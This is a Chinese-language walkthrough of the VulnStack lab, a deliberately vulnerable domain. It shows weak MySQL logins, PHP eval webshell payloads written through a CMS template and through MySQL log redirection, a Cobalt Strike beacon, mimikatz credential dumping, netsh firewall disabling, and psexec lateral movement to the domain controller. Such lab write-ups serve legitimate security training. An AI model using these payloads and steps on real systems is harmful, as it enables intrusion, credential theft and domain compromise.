[内网渗透]——VulnStack (一)

网络拓扑图

VMware 网络配置

虚拟网络名称	网段	DHCP
VMnet3	192.168.72.0/24	是
VMnet4	192.168.52.0/24	是

虚拟机网络配置

虚拟机	网段	虚拟机接口
Windows 7 x64	192.168.72.0/24 192.168.52.0/24	VMnet3,VMnet4
Win2K3 Metasploitable	192.168.52.0/24	VMnet4
Windows Server 2008 R2 x64	192.168.52.0/24	VMnet4
Kali（用于攻击的机器）	192.168.72.0/24	VMnet3

虚拟机配置

密码为hongrisec@2019可以改成hongrisec@2022

Windows7 X64

本地连接设置为72网段

本地连接4会自动匹配vmnet4，所以自动获取IP地址即可，DNS服务器地址必须为域控的ip否则无法链接域控
然后进入 C:\phpStudy，运行 phpStudy.exe

Win2K3 Metasploitable

ipconfig,52网段即可

Windows Server 2008 R2 x64

ipconfig，52网段即可

靶场练习

信息收集

namp 192.168.72.143 查看Windows7 X64开放端口，发现开放80和3306

直接访问80端口发现phpstudy探针

尝试mysql弱口令密码root、root，发现登录成功

写shell

直接访问phpmyadmin弱口令登录,查看是否有写入文件的权限

SHOW VARIABLES LIKE '%secure_file_priv%'

很明显null没有写入权限，只能用别的方式获取webshell了

方式一

查看数据库目录时发现newyxcms

访问yxcms成功进入cms界面，这里直接把账号密码写到了公告中

访问index.php?r=admin/index/login登录

在[全局设置->前台模板]中有很多php文件，随便找一个写入一句话木马

蚁剑链接

方式二

日志文件写shell

# 查看当前配置
SHOW VARIABLES LIKE 'general%';

# 更改日志文件位置
set global general_log = "ON";
select @@basedir              //查看路径
set global general_log_file='C:/phpStudy/MySQL/a.php';

# 日志中写shell
SELECT "<?php eval($_POST[a]); ?>"

蚁剑连接

内网横向

配置cs

kali执行：

./teamserver 192.168.72.132 admin

本地直接链接即可（这里后来改成了132图没改过来）

上传木马

先生成个木马文件，攻击—>生成后门—>Windows可执行程序，添加一个监听器生成即可

上传到目录中

运行木马 .\artifact.exe

cs中成功上线

mimikatz sekurlsa::logonpasswords，获取密码

net view 查看内网其他主机
PDC为域控

查看并关闭防火墙

# 查看防火墙状态
shell netsh firewall show state
# 关闭防火墙 
shell netsh advfirewall set allprofiles state off

提权

提权后发现多了一个SYSTEM权限

查看目标机器

横向移动

横向移动->psexec，监听器设置SMB的，回话选择SYSTEM权限回话

此时成功上线拿到域控

同理再通过域控拿到域成员机器